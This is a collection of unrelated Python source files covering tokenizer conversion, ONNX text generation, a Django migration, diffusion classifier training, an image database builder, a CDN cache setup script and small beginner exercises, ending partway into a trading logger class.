from argparse import ArgumentParser
import numpy as np
from pathlib import Path
from tokenizer.convert_tokenizer import convert_tokenizer, connect_models
from tokenizer.str_pack import pack_strings, unpack_strings

from transformers import AutoTokenizer
from openvino.runtime import serialize, Core

def main():
    parser = ArgumentParser()
    parser.add_argument("--model_id", type=str, required=True, default="stable-diffusion-v1-5/tokenizer",
                        help="Model id of a pretrained Hugging Face tokenizer on the Hub or local directory")
    parser.add_argument("-o", "--output_dir", type=str, required=True, default="models/tokenizer",
                        help="Save directory of converted OpenVINO Model and configurations")
    parser.add_argument("-p", "--prompt", type=str, required=False,
                        default="cyberpunk cityscape like Tokyo New York  with tall buildings at dusk golden hour cinematic lighting",
                        help="Save directory of converted OpenVINO Model and configurations")
    parser.add_argument("--with_decoder", type=bool, required=False, default=True,
                        help="Whether save tokenzier decoder")
    args = parser.parse_args()

    print("Load HF Tokenizer...")
    hf_tokenizer = AutoTokenizer.from_pretrained(args.model_id)

    print("Convert HF Tokenizer to OV Tokenizer...")
    ov_tokenizer_encoder, ov_tokenizer_decoder = convert_tokenizer(hf_tokenizer, with_decoder=args.with_decoder)
    #print("ov_tokenizer_encoder: ", ov_tokenizer_encoder)
    #print("ov_tokenizer_decoder: ", ov_tokenizer_decoder)

    print(f"Serialize OV Tokenizer to {args.output_dir}")

    serialize(ov_tokenizer_encoder, Path(args.output_dir) / "tokenizer_encoder.xml", Path(args.output_dir) / "tokenizer_encoder.bin")
    serialize(ov_tokenizer_decoder, Path(args.output_dir) / "tokenizer_decoder.xml", Path(args.output_dir) / "tokenizer_decoder.bin")

    print(f"Test tokenzier with prompt: {args.prompt}")
    hf_tokens = hf_tokenizer.encode(args.prompt)
    print(f"HF Tokenizer encode results {hf_tokens}")
    hf_decode_str = hf_tokenizer.decode(hf_tokens)
    print(f"HF Tokenizer decode results {hf_decode_str}")

    core = Core()
    compiled_ov_tokenizer_encoder = core.compile_model(ov_tokenizer_encoder)
    compiled_ov_tokenizer_decoder = core.compile_model(ov_tokenizer_decoder)

    prompt_uint8 = pack_strings([args.prompt])
    #print(f"Pack string as byte array: {prompt_uint8}")
    encoder_outputs = compiled_ov_tokenizer_encoder(prompt_uint8)
    #print("outputs: ", encoder_outputs)
    input_ids = encoder_outputs["input_ids"]
    attention_mask = encoder_outputs["attention_mask"]
    print(f"OV Tokenizer results input ids: {input_ids} with shape {input_ids.shape}")
    print(f"OV Tokenizer results attention_mask: {attention_mask} with shape {attention_mask.shape}")
    """
    logits = np.array([input_ids])
    print(f"logits for tokenizer decoder: {logits}")
    decoder_outputs = compiled_ov_tokenizer_decoder(logits)
    output_bytes = decoder_outputs["string_output"]
    print("output_bytes: ", output_bytes)
    output_text = unpack_strings(output_bytes)
    print("output_text: ", output_text)

    expected_output = unpack_strings(prompt_uint8)
    print(f"expected_output: {expected_output}")
    """

if __name__ == "__main__":
    main()


from transformers import AutoTokenizer, AutoModelForCausalLM
import re
import logging
import numpy as np
import onnxruntime as ort
import torch
import random
import math

class OnnxModelManager:
    def __init__(self, path = None, model = None, tokenizer = None, device = None):
        self.max_length = 128
        self.reply_prefix = "<d><scn>"
        self.num_attention_heads = 12
        self.hidden_size = 768
        self.num_layer = 12
        if path is None:
            self.model = model
            self.tokenizer = tokenizer
        else:
            self.path = path
            self.load_model()

    def normalize(self, x):
        x = abs(np.min(x)) + x
        return x / x.sum(axis=0,keepdims=1)

    def load_model(self):
        self.tokenizer = AutoTokenizer.from_pretrained('EleutherAI/gpt-neo-125M')
        self.tokenizer.padding_side = "right"
        self.tokenizer.pad_token = self.tokenizer.eos_token
        self.model = ort.InferenceSession(self.path)

    def batch_content_aware_encode(self, texts) -> dict:
        encodings_dict = self.tokenizer.batch_encode_plus(texts, padding=True)
        new_batch = {
            'input_ids': [],
            'attention_mask': []
        }
        for i, tokens in enumerate(encodings_dict['input_ids']):
            new_tokens = []
            for token in tokens:
                if token == 6927: # ><
                    new_tokens += [29, 27]
                else:
                    new_tokens.append(token)
            new_batch['input_ids'].append(new_tokens)
            new_batch['attention_mask'].append([1] * len(new_tokens))
        return new_batch

    def get_model_input(self, prompt):
        encodings_dict = self.batch_content_aware_encode(prompt)
        input_ids = np.array(encodings_dict['input_ids'], dtype=np.int64)
        attention_mask = np.array(encodings_dict['attention_mask'], dtype=np.int64)
        return input_ids, attention_mask

    def word_chance(self, x, scale):
        c = 1.0
        for i in range(x.shape[0]):
            x[i] = c
            c *= scale
        return x

    def say_raw(self, prompt, do_sample = False, reply_as = None) -> str:
        input_ids, attention_mask = self.get_model_input([prompt])
        eos_token_id = self.tokenizer.eos_token_id
        batch_size = input_ids.shape[0]
        all_token_ids = input_ids
        is_in_message = False
        for step in range(self.max_length):
            inputs = {}
            inputs['attention_mask'] = attention_mask
            inputs['input_ids'] = input_ids
            outputs = self.model.run(None, inputs)
            next_token_logits = outputs[0][:, -1, :]

            if do_sample:
                next_tokens = np.argpartition(-next_token_logits, 10).flatten()[:10]
                if is_in_message:
                    chances = next_token_logits.flatten()[next_tokens]
                    chances = self.normalize(chances)
                    chances_list = []
                    for i, c in enumerate(chances):
                        chances_list.append({
                            'c': c,
                            'i': next_tokens[i]
                        })
                    chances_list.sort(key=lambda x: x['c'], reverse=True)
                    new_chances = np.zeros(10, dtype = np.float32)
                    self.word_chance(new_chances, 0.45)
                    for i in range(new_chances.shape[0]):
                        new_chances[i] = new_chances[i] * chances_list[i]['c']
                    selection = random.choices(chances_list, weights=new_chances, k=1)[0]['i']
                    next_tokens = np.array([selection])
                else:
                    next_tokens = np.argmax(next_token_logits, axis=-1)
                if '"' in self.tokenizer.decode(next_tokens):
                    is_in_message = not is_in_message
            else:
                next_tokens = np.argmax(next_token_logits, axis=-1)
            all_token_ids = np.concatenate((all_token_ids, np.expand_dims(next_tokens, -1)), axis=-1)
            # Update input_ids, attention_mask and past
            input_ids = all_token_ids
            attention_mask = np.ones((batch_size, 1), dtype=np.int64)

            if eos_token_id in next_tokens:
                break
        return self.tokenizer.decode(all_token_ids[0], skip_special_tokens=False)

    def say(self, past, prompt, do_sample=False) -> str:
        prompt = f'{past}<p><msg>c "{prompt}"{self.reply_prefix}'
        return self.say_raw(prompt, do_sample = do_sample)[len(prompt):].strip()

if __name__ == "__main__":
    manager = OnnxModelManager("models/awsw_onnx/model_quant.onnx")
    test_prompt = "Hey sweetie!"
    reply = manager.say_raw(test_prompt)
    print(f"Test prompt: {test_prompt} Test reply: {reply}")


import copy
import dataclasses
import json
from dataclasses import dataclass
from typing import Any

from helpers.picture import get_anime_picture, get_artist_picture

base = 'http://animethemes-api.herokuapp.com/api/v1/theme'

class EnhancedJSONEncoder(json.JSONEncoder):
    def default(self, o):
        if dataclasses.is_dataclass(o):
            return dataclasses.asdict(o)
        return super().default(o)

def object_decoder(obj):
    if '__type__' in obj and obj['__type__'] == 'Anime':
        return Anime(obj['anime_id'], obj['title'], obj['cover'], obj['year'], obj['season'], obj['themes'])
    elif '__type__' in obj and obj['__type__'] == 'Artist':
        return Artist(obj['artist_id'], obj['name'], obj['cover'], obj['themes'])
    elif '__type__' in obj and obj['__type__'] == 'Theme':
        return Theme(obj['anime_id'], obj['artist_id'], obj['theme_id'], obj['title'], obj['type'], obj['notes'],
                     obj['episodes'], obj['category'], obj['mirrors'])
    return obj

@dataclass
class Anime:
    anime_id: int
    title: str
    cover: Any
    year: int
    season: str
    themes: list

    __type__: str = 'Anime'

    def parse(self):
        tmp_list = []
        from data.repo import theme_list
        for theme in theme_list:
            for theme_id in self.themes:
                if theme_id == theme.theme_id:
                    tmp_list.append(theme.parse())
        return {'mal_id': self.anime_id, 'title': self.title.split(' | '), 'cover': self.cover, 'year': int(self.year),
                'season': self.season, 'themes': tmp_list}

    def app(self, extended=False):
        if extended:
            tmp_list = []
            from data.repo import theme_list
            for theme in theme_list:
                for theme_id in self.themes:
                    if theme_id == theme.theme_id:
                        tmp_list.append(theme.parse())
            return {'mal_id': self.anime_id, 'title': self.title.split(' | ')[0],
                    'cover': self.cover,
                    'year': int(self.year),
                    'season': self.season, 'themes': tmp_list}
        else:
            return {'mal_id': self.anime_id, 'title': self.title.split(' | ')[0], 'cover': self.cover,
                    'year': int(self.year),
                    'season': self.season}

    def __copy__(self):
        new = Anime(self.anime_id, self.title, self.cover, self.year, self.season, self.themes)
        return new

    def __eq__(self, other):
        return self.anime_id == other.anime_id

@dataclass
class Theme:
    anime_id: int
    artist_id: Any
    theme_id: str
    title: str
    type: str
    notes: str
    episodes: str
    category: str
    mirrors: list

    __type__: str = 'Theme'

    def parse(self, extended=False):
        from data.repo import artist_list
        from data.repo import anime_list
        mirror_list = []
        for index, mirror in enumerate(self.mirrors):
            mirror['audio'] = f'{base}/{self.theme_id}/{index}/audio'
            mirror_list.append(mirror)
        if extended:
            anime = next((item for item in anime_list if item.anime_id == self.anime_id), None)
            return {'title': self.title, 'name': anime.title, 'cover': anime.cover, 'theme_id': self.theme_id,
                    'type': self.type,
                    'artist': next((item.name for item in artist_list if item.artist_id == self.artist_id), None),
                    'mirrors': mirror_list, 'notes': self.notes if self.notes else None, 'episodes': self.episodes,
                    'category': self.category if self.category else None}
        else:
            return {'title': self.title, 'theme_id': self.theme_id, 'type': self.type,
                    'artist': next((item.name for item in artist_list if item.artist_id == self.artist_id), None),
                    'mirrors': mirror_list, 'notes': self.notes if self.notes else None, 'episodes': self.episodes,
                    'category': self.category if self.category else None}

    def __eq__(self, other):
        if self.theme_id != other.theme_id:
            return False
        return True

@dataclass
class Artist:
    artist_id: int
    name: str
    cover: str
    themes: list

    __type__: str = 'Artist'

    def parse(self):
        themes = {}
        for theme_id in self.themes:
            mal_id = int(theme_id.split('-')[0])
            if not themes.get(mal_id):
                themes[mal_id] = []
            themes[mal_id].append(theme_id.split('-')[1])
        anime_list = []
        for mal_id, theme_ids in themes.items():
            from data.repo import anime_list as anime_list_repo
            anime = next((item.parse() for item in anime_list_repo if item.anime_id == mal_id), None)
            anime['title'] = anime['title'][0]
            theme_list = []
            for theme_id in theme_ids:
                theme_list.append(anime['themes'][int(theme_id)])
            anime['themes'] = theme_list
            anime_list.append(anime)
        return {'artist_id': self.artist_id, 'name': self.name,
                'cover': self.cover, 'themes': anime_list}

    def app(self):
        return {'artist_id': self.artist_id, 'name': self.name,
                'cover': self.cover}

    def __eq__(self, other):
        if self.artist_id != other.artist_id:
            return False
        return True


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations
import repository.models
import django.utils.timezone
from django.conf import settings
import uuid

class Migration(migrations.Migration):

    dependencies = [
        ('admin_control', '0001_initial'),
        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
    ]

    operations = [
        migrations.CreateModel(
            name='Document',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('docfile', models.FileField(upload_to=repository.models.generate_filename)),
                ('mime_type', models.CharField(max_length=255)),
            ],
        ),
        migrations.CreateModel(
            name='Event',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('title', models.CharField(max_length=50)),
                ('start_date', models.DateField(null=True)),
                ('end_date', models.DateField(null=True)),
                ('start_time', models.TimeField(null=True, blank=True)),
                ('end_time', models.TimeField(null=True, blank=True)),
                ('event_type', models.CharField(max_length=50, null=True)),
                ('notes', models.TextField(null=True, blank=True)),
                ('posted_by', models.ForeignKey(related_name='posted_by', to=settings.AUTH_USER_MODEL)),
            ],
        ),
        migrations.CreateModel(
            name='Project',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('title', models.CharField(max_length=200)),
                ('abstract', models.TextField(max_length=200, null=True, blank=True)),
                ('created_date', models.DateTimeField(default=django.utils.timezone.now)),
                ('published_date', models.DateTimeField(null=True, blank=True)),
                ('secret_code', models.CharField(max_length=50)),
                ('slug', models.SlugField()),
                ('uid', models.UUIDField(default=uuid.uuid4, editable=False)),
                ('status', models.CharField(default=b'ongoing', max_length=200)),
                ('adviser', models.ForeignKey(related_name='adviser', blank=True, to='admin_control.Course_Faculty_Assignment', null=True)),
                ('coordinator', models.ForeignKey(related_name='coordinator', to='admin_control.Course_Faculty_Assignment')),
            ],
        ),
        migrations.CreateModel(
            name='Project_Membership',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('added_date', models.DateTimeField(default=django.utils.timezone.now)),
                ('member', models.ForeignKey(related_name='member', to=settings.AUTH_USER_MODEL)),
                ('project', models.ForeignKey(related_name='project', to='repository.Project')),
            ],
        ),
        migrations.AddField(
            model_name='project',
            name='members',
            field=models.ManyToManyField(to=settings.AUTH_USER_MODEL, through='repository.Project_Membership'),
        ),
        migrations.AddField(
            model_name='event',
            name='project_owner',
            field=models.ForeignKey(related_name='project_owner', to='repository.Project'),
        ),
        migrations.AddField(
            model_name='document',
            name='owner',
            field=models.ForeignKey(related_name='owner', to='repository.Project'),
        ),
    ]


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import sys
from setuptools import setup

readme = open('README.rst').read()
history = open('HISTORY.rst').read().replace('.. :changelog:', '')

setup(
    name='mts',
    version='0.3',
    description='Miratuserie.tv on the command line',
    long_description=readme + '\n\n' + history,
    author='Martín Gaitán',
    author_email='gaitan@gmail.com',
    url='https://github.com/mgaitan/mts',
    packages=[
        'mts', 'mts/orm_magic'
    ],
    package_dir={'mts': 'mts'},
    include_package_data=True,
    install_requires=['django', 'requests', 'docopt'],
    license="BSD",
    zip_safe=False,
    keywords='mts',
    classifiers=[
        'Development Status :: 2 - Pre-Alpha',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: BSD License',
        'Natural Language :: English',
        "Programming Language :: Python :: 2",
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.3',
    ],
    test_suite='tests',
    entry_points = {
        'console_scripts': [
            'mts = mts:main',
            ]
        }

)


import sqlite3
from PIL import Image
import os
import base64
import random
import argparse
import numpy as np
from io import BytesIO
from glob import glob
from tqdm import tqdm

MAX_HEIGHT = 15000
MAX_WIDTH = 20000

parser = argparse.ArgumentParser(description='Create SQLite image database.')
parser.add_argument('--input_path',dest="input_path",type=str,
                    help='path to folder containing images')
parser.add_argument('--output_path',dest="output_path",type=str,
                    help='path to SQLite output')
args = parser.parse_args()

conn = sqlite3.connect(args.output_path)

try:
    conn.execute("DROP TABLE images;")
    conn.execute("DROP TABLE slide_labels;")
    conn.execute("DROP TABLE metadata;")
    conn.execute("DROP TABLE labels;")
except:
    pass

sql = '''
create table if not exists images(
    id integer primary key autoincrement,
    picture blob,
    name text);
'''
conn.execute(sql)

sql = '''
create table if not exists labels(
    picture_id integer primary key,
    label text,
    user_id text);
'''
conn.execute(sql)

sql ='''
create table if not exists metadata(
    id integer primary key autoincrement,
    number_of_images integer);
'''
conn.execute(sql)

i = 0
for image_path in tqdm(glob(args.input_path + '/*')):
    image = Image.open(image_path)
    if image.size[0] > MAX_HEIGHT:
        rescale_factor = image.size[0] / MAX_HEIGHT
        size = [0,0]
        size[0] = MAX_HEIGHT
        size[1] = int(image.size[1]/rescale_factor)
        image = image.resize(size)
    if image.size[1] > MAX_WIDTH:
        rescale_factor = image.size[1] / MAX_WIDTH
        size = [0,0]
        size[1] = MAX_WIDTH
        size[0] = int(image.size[0]/rescale_factor)
        image = image.resize(size)

    i += 1
    with BytesIO() as bio:
        image.save(bio,format='JPEG')

        ablob = base64.b64encode(bio.getvalue())
        sql = '''INSERT INTO images
        (picture, name)
        VALUES(?, ?);'''
        conn.execute(sql,[sqlite3.Binary(ablob), image_path])
        conn.commit()

sql = '''INSERT INTO metadata
(number_of_images)
VALUES(?);'''
conn.execute(sql,[i])
conn.commit()


from fastapi import FastAPI, File, UploadFile
from pydantic.fields import T
import uvicorn
import shutil
from main import main

app = FastAPI()

@app.post("/post_image/")
async def root(file: UploadFile = File(...)):
    with open('files_upload\check.jpg',"wb") as buffer:
        shutil.copyfileobj(file.file,buffer)

    path = 'files_upload\check.jpg'
    ret = main(path)

    if ret==True:
        return {"result": "Matched"}
    else:
        return {"result": "Not Matched"}

if __name__ == '__main__':
    uvicorn.run(app, port=8080, host='0.0.0.0')


import copy
import functools
import numpy as np
import torch
import torch.optim as optim
from torch.optim.lr_scheduler import StepLR

from models.classifier_model import JointYClassifier
from models.score_model import ScoreNet

from samplers.pc_sampler import pc_trajectory_sampler

#
# Diffusion Sampling
#

def marginal_prob_std(t, sigma):
  """Compute the mean and standard deviation of $p_{0t}(x(t) | x(0))$.

  Args:
    t: A vector of time steps.
    sigma: The $\sigma$ in our SDE.

  Returns:
    The standard deviation.
  """
  t = torch.tensor(t, device=device)
  return torch.sqrt((sigma**(2 * t) - 1.) / 2. / np.log(sigma))

def diffusion_coeff(t, sigma):
  """Compute the diffusion coefficient of our SDE.

  Args:
    t: A vector of time steps.
    sigma: The $\sigma$ in our SDE.

  Returns:
    The vector of diffusion coefficients.
  """
  return torch.tensor(sigma**t, device=device)

sigma =  25.0
marginal_prob_std_fn = functools.partial(marginal_prob_std, sigma=sigma)
diffusion_coeff_fn = functools.partial(diffusion_coeff, sigma=sigma)
trajectory_sampler = functools.partial(pc_trajectory_sampler, marginal_prob_std=marginal_prob_std_fn, diffusion_coeff=diffusion_coeff_fn)

#
# Classifier training
#

def test(model, score_model1, score_model2, batch_size, num_steps, device):
    with torch.no_grad():
        target_model = model

        batch1, time_steps1 = trajectory_sampler(score_model1, batch_size = batch_size, num_steps = num_steps, device=device)
        batch2, time_steps2 = trajectory_sampler(score_model2, batch_size = batch_size, num_steps = num_steps, device=device)

        x_1 = batch1[-1,...]
        x_2 = batch2[-1,...]

        # compute terminal loss
        x_term = torch.cat([x_1, x_2], dim=0)
        time_term = torch.cat([torch.ones(x_1.shape[0], device=device) * time_steps1[-1],
                            torch.ones(x_2.shape[0], device=device) * time_steps2[-1]], dim=0)
        logprobs_term = model(x_term, time_term)
        log_p_y_eq_1 = torch.logsumexp(logprobs_term, dim=1)[:, 0]
        log_p_y_eq_2 = torch.logsumexp(logprobs_term, dim=1)[:, 1]

        ce_target_term = torch.cat([torch.zeros(x_1.shape[0], device=device),
                                    torch.ones(x_2.shape[0], device=device)], dim=0)
        loss_term = -torch.mean(ce_target_term * log_p_y_eq_2 + (1.0 - ce_target_term) * log_p_y_eq_1)
        print('Average terminal loss: {:5f}'.format(loss_term.item()))

        #
        # non-terminal states
        #
        logprobs_term_ema = target_model(x_term, time_term)
        p_x_y2_eq_1 = torch.sum(logprobs_term_ema.exp(), dim=1)[:, 0]
        p_x_y2_eq_2 = torch.sum(logprobs_term_ema.exp(), dim=1)[:, 1]

        for stepIDX in range(0, batch1.shape[0]-1, 50):
            s_1 = batch1[stepIDX,...]
            s_2 = batch2[stepIDX,...]
            s_non_term = torch.cat([s_1, s_2], dim=0)

            time_term = torch.cat([torch.ones(s_1.shape[0], device=device) * time_steps1[stepIDX],
                                torch.ones(s_2.shape[0], device=device) * time_steps2[stepIDX]], dim=0)
            logprobs_non_term = model(s_non_term, time_term)

            w_mat = torch.zeros((s_non_term.shape[0], 2, 2), device=device)
            # set y1 = 0
            w_mat[:s_1.shape[0], 0, 0] = 1.0
            w_mat[:s_1.shape[0], 0, 1] = 1.0
            # set y2 = 1
            w_mat[s_1.shape[0]:, 1, 0] = 1.0
            w_mat[s_1.shape[0]:, 1, 1] = 1.0

            w_mat[:, :, 0] *= p_x_y2_eq_1[:, None]
            w_mat[:, :, 1] *= p_x_y2_eq_2[:, None]

            step_loss = -torch.mean(w_mat * logprobs_non_term)
            print('Average Loss at step {:2f}: {:5f}'.format(time_steps1[stepIDX], step_loss.item()))

def train(model, target_model, optimizer, score_model1, score_model2, batch_size, num_steps, device, terminal_only = True):
    # target_model = model

    batch1, time_steps1 = trajectory_sampler(score_model1, batch_size = batch_size, num_steps = num_steps, device=device)
    batch2, time_steps2 = trajectory_sampler(score_model2, batch_size = batch_size, num_steps = num_steps, device=device)

    x_1 = batch1[-1,...]
    x_2 = batch2[-1,...]

    # compute terminal loss
    x_term = torch.cat([x_1, x_2], dim=0)
    time_term = torch.cat([torch.ones(x_1.shape[0], device=device) * time_steps1[-1],
                           torch.ones(x_2.shape[0], device=device) * time_steps2[-1]], dim=0)
    logprobs_term = model(x_term, time_term)
    log_p_y_eq_1 = torch.logsumexp(logprobs_term, dim=1)[:, 0]
    log_p_y_eq_2 = torch.logsumexp(logprobs_term, dim=1)[:, 1]

    ce_target_term = torch.cat([torch.zeros(x_1.shape[0], device=device),
                                torch.ones(x_2.shape[0], device=device)], dim=0)
    loss_term = -torch.mean(ce_target_term * log_p_y_eq_2 + (1.0 - ce_target_term) * log_p_y_eq_1)

    #
    # non-terminal states
    #
    if not terminal_only:
        with torch.no_grad():
            logprobs_term_ema = target_model(x_term, time_term)
            p_x_y2_eq_1 = torch.sum(logprobs_term_ema.exp(), dim=1)[:, 0]
            p_x_y2_eq_2 = torch.sum(logprobs_term_ema.exp(), dim=1)[:, 1]

        exclude_from_t = 0.7 # do not train from this timestep until t = 1.0. This is because the last timesteps are too noisy to train on.
        train_fraction = 0.1 # train on a fraction of randomly selected steps of this size
        loss_step_weight = 1.0 / (batch1.shape[0] * (1-exclude_from_t) * train_fraction)
        for stepIDX in range(batch1.shape[0]-1):
            if time_steps1[stepIDX] > exclude_from_t:
               continue
            if np.random.rand() > train_fraction:
               continue
            s_1 = batch1[stepIDX,...]
            s_2 = batch2[stepIDX,...]
            s_non_term = torch.cat([s_1, s_2], dim=0)

            time_term = torch.cat([torch.ones(s_1.shape[0], device=device) * time_steps1[stepIDX],
                                torch.ones(s_2.shape[0], device=device) * time_steps2[stepIDX]], dim=0)
            logprobs_non_term = model(s_non_term, time_term)

            w_mat = torch.zeros((s_non_term.shape[0], 2, 2), device=device)
            # set y1 = 0
            w_mat[:s_1.shape[0], 0, 0] = 1.0
            w_mat[:s_1.shape[0], 0, 1] = 1.0
            # set y2 = 1
            w_mat[s_1.shape[0]:, 1, 0] = 1.0
            w_mat[s_1.shape[0]:, 1, 1] = 1.0

            w_mat[:, :, 0] *= p_x_y2_eq_1[:, None]
            w_mat[:, :, 1] *= p_x_y2_eq_2[:, None]

            loss_term -= torch.mean(w_mat * logprobs_non_term) * loss_step_weight

    print('Average Loss: {:5f}'.format(loss_term.item()))

    optimizer.zero_grad()
    loss_term.backward()
    optimizer.step()

batch_size = 128
num_steps = 500

if torch.cuda.is_available():
    device = torch.device("cuda")
elif torch.backends.mps.is_available():
    device = torch.device("mps")
else:
    device = torch.device("cpu")

score_model1 = ScoreNet(marginal_prob_std=marginal_prob_std_fn, input_channels=3)
score_model1 = score_model1.to(device)
score_model1.load_state_dict(torch.load('gen_M1_ckpt_195.pth', map_location=device))
for p in score_model1.parameters():
    p.requires_grad = False

score_model2 = ScoreNet(marginal_prob_std=marginal_prob_std_fn, input_channels=3)
score_model2 = score_model2.to(device)
score_model2.load_state_dict(torch.load('gen_M2_ckpt_195.pth', map_location=device))
for p in score_model2.parameters():
    p.requires_grad = False

model = JointYClassifier(input_channels=score_model1.input_channels).to(device)
optimizer = optim.Adadelta(model.parameters(), lr=1.0)

test(model, score_model1, score_model2, 300, num_steps, device)

scheduler = StepLR(optimizer, step_size=1, gamma=0.97)
for epoch in range(1, 200 + 1):
    target_model = copy.deepcopy(model)
    for p in target_model.parameters():
        p.requires_grad = False

    train(model, target_model, optimizer, score_model1, score_model2, batch_size, num_steps, device, (epoch <= 100))
    scheduler.step()
    if epoch % 25 == 0:
       test(model, score_model1, score_model2, 300, num_steps, device)
       torch.save(model.state_dict(), 'classifier_ckpt_' + str(epoch) + '.pth')


import math
import json
import os
import numpy as np
from gensim.models import KeyedVectors, Word2Vec
MAX_SEQ_LEN = 10

def read_data_from_file(filename):
    sentence = []
    with open(filename, "r") as fin:
        fin.readline()
        for line in fin:
            _, prev_sent, last_token = line.strip().split(",")
            sentence += prev_sent.split() + [last_token, "<eos>"]
    return sentence

def build_input_data(sentence, vocabulary):
    """
    Maps sentences and labels to vectors based on a vocabulary.
    """
    unknown_token_id = vocabulary["<unk>"]
    vocab = vocabulary.keys()
    sentence_id = [vocabulary[word] if word in vocab else unknown_token_id for word in sentence]

    x = []
    y = []

    num_sentences = math.ceil(len(sentence_id) / MAX_SEQ_LEN )
    '''
    The the len of last sentence may be less than MAX_SEQ_LEN, so we pad it using tokens in the begining.
    corpus: a cat sits on the mat
    x(text): a cat sits
    y(text): cat sits on
    '''
    sentence_id += sentence_id[:MAX_SEQ_LEN + 1]
    while len(sentence_id) < MAX_SEQ_LEN:
        sentence_id += sentence_id[:MAX_SEQ_LEN+1]

    for i in range(num_sentences):
        x.append(sentence_id[i*MAX_SEQ_LEN:(i+1)*MAX_SEQ_LEN])
        y_ = sentence_id[i*MAX_SEQ_LEN+1:(i+1)*MAX_SEQ_LEN+1]
        y.append(y_)
    x = np.array(x)
    y = np.expand_dims(np.array(y), axis=-1)
    return x, y

def load_data(data_path, EMBEDDING_DIM, debug=False):
    # get the data paths
    train_path = os.path.join(data_path, "valid.csv" if debug else "train.csv")
    valid_path = os.path.join(data_path, "valid.csv")
    vocab_path = os.path.join(data_path, "vocab.json")
    #model_path = os.path.join(data_path, "GoogleNews-vectors-negative300.bin")

    train_data = read_data_from_file(train_path)
    valid_data = read_data_from_file(valid_path)
    #word2vec = KeyedVectors.load_word2vec_format(model_path, binary=True)
    W2Vmodel = Word2Vec(sentences=train_data, sg=1, hs=0, workers=4, size=EMBEDDING_DIM, min_count=3, window=10, sample=1e-3, negative=5, iter=6)
    word_vectors = W2Vmodel.wv

    # build vocabulary from training data
    vocabulary = json.load(open(vocab_path))
    vocab_size = len(vocabulary)

    # generate embedding matrix using pre-trained word2vec model
    embedding_matrix = np.zeros((vocab_size, EMBEDDING_DIM))
    for word, i in vocabulary.items():
        if i > vocab_size:
            continue
        try:
            embedding_matrix[i] = word_vectors[word]
        except KeyError:
        #Ignore words not exist in train
                embedding_matrix[i] = np.random.normal(0,np.sqrt(0.25),EMBEDDING_DIM)

    # get input data
    x_train, y_train = build_input_data(train_data, vocabulary)
    x_valid, y_valid = build_input_data(valid_data, vocabulary)

    return x_train, y_train, x_valid, y_valid, vocab_size, embedding_matrix


import named
import cdn_lists
import nginx
import dnsmasq
import sniproxy
from common import *

print("CDN Cache Init")

if len(params.internal_ips) != 0:
    print("Registering additional ips if needed")

    existingips = getIp4Address("eth0") + getIp6Address("eth0")

    for ip in params.internal_ips:
        is_plain = ip.split("/")[0]
        if not is_plain in existingips:
            if os.system("ip a a %s dev eth0" % ip) != 0:
                sys.exit("Cannot register internal addresses. Make sure you use --cap-add=NET_ADMIN . Note: INTERNAL_IPS only useful for MACVLAN networks")

dnsmasq.setup()
cdn_lists.update()
nginx.setup()
sniproxy.setup()
named.setup()

print("CDN Cache is Ready")


import yaml
from colorama import init, Fore
import secrets

def InitProjectMoldy():
    init(autoreset=True)
    packagename = input("What is the name of the Moldy package? ")
    authorpackage = input("What is the author of the Moldy package? ")
    versionpackage = input("What is the version of the Moldy package? ")
    hashofpackage = secrets.token_hex(nbytes=16)
    templateText = [
        {
            "package": [
                f"name: {packagename}",
                f"author: {authorpackage}",
                f"version: {versionpackage}",
                f"hash: {hashofpackage}",
            ]
        }
    ]
    try:
        with open("MoldySpecs.yaml", "w") as f:
            yaml.dump(templateText, f)

        print(Fore.CYAN + "Created the MoldySpecs.yaml file")
    except Exception as err:
        print(Fore.RED + "Error: " + err)


import re
import json

# 1
with open('phonebook.txt', 'x+', encoding='utf-8') as phone1:
    try:
        phone_book = json.load(phone1)
    except Exception:
        phone_book = {}

while True:
    commands = input('Write command:\n')
    if commands == 'stats':
        print(f'Amount of records is {len(phone_book)}')
    elif commands == 'list':
        print(*phone_book.keys(), sep='\n')
    elif commands in ['delete', 'show']:
        name = input('Write name:\n')
        if commands == 'delete' and name in phone_book.keys():
            del phone_book[name]
            with open('phonebook.txt', 'w') as ph:
                json.dump(phone_book, ph)
                print(f'Record with name "{name}" was successfully deleted')
        elif commands == 'show' and name in phone_book.keys():
            print(f'Here you could see the info for "{name}": {phone_book[name]}')
        else:
            print(f'There is no such name as {name} in phone book. Firstly, you need to add it!')
    elif commands == 'add':
        new_name, phone = input('Provide, please, name and phone:\n').split()
        if new_name in phone_book.keys():
            print(f'Record with {new_name} already exists. Please remove it and add a new one after that')
        else:
            if re.match(r'\A(\+380|380|0)[0-9]{9}\b', phone):
                with open('phonebook.txt', 'w') as ph:
                    phone_book[new_name] = phone
                    json.dump(phone_book, ph)
                    print(f'Contact "{new_name}" was created in the phone book!')
            else:
                print('This phone number is not valid')
    elif commands == 'end':
        print('Thanks for your records. Buy!')
        break
    else:
        print(f'There is no such command as "{commands}". Please, try again')

# 2
file1 = input('Enter file name\n')
with open(file1, 'r', encoding='utf-8') as file2:
    info1 = file2.readlines()
    for i in info1:
        print(re.sub(r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b', '*@*', i), end='')

# 3
file3 = input('Enter file name\n')
with open(file3, 'r', encoding='utf-8') as file4:
    info2 = file4.readlines()
    for i in info2:
        print(re.sub(r'([a-zA-z])([A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]+)([a-zA-z])',
                     r'\1****@****\3', i), end='')


from typing import Dict, List, Any
from datamodel import OrderDepth, TradingState, Order, ProsperityEncoder, Symbol
from math import log
import json

class Logger:
    def __init__(self) -> None:
        self.logs = ""

    def print(self, *objects: Any, sep: str = " ", end: str = "\n") -> None:
        self.logs += sep.join(map(str, objects)) + end

